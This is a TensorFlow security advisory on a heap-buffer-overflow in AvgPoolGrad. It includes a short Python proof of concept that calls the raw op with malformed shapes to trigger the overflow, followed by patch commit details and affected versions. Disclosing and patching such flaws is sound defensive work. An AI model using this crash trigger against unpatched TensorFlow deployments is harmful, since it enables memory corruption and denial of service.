TensorFlow has Heap-buffer-overflow in AvgPoolGrad
### Impact
```python
import os
os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0'
import tensorflow as tf
print(tf.__version__)
with tf.device("CPU"):
ksize = [1, 40, 128, 1]
strides = [1, 128, 128, 30]
padding = "SAME"
data_format = "NHWC"
orig_input_shape = [11, 9, 78, 9]
grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32)
res = tf.raw_ops.AvgPoolGrad(
ksize=ksize,
strides=strides,
padding=padding,
data_format=data_format,
orig_input_shape=orig_input_shape,
grad=grad,
)
```
### Patches
We have patched the issue in GitHub commit ddaac2bdd099bec5d7923dea45276a7558217e5b
https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b.
The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by <
evn@google.com>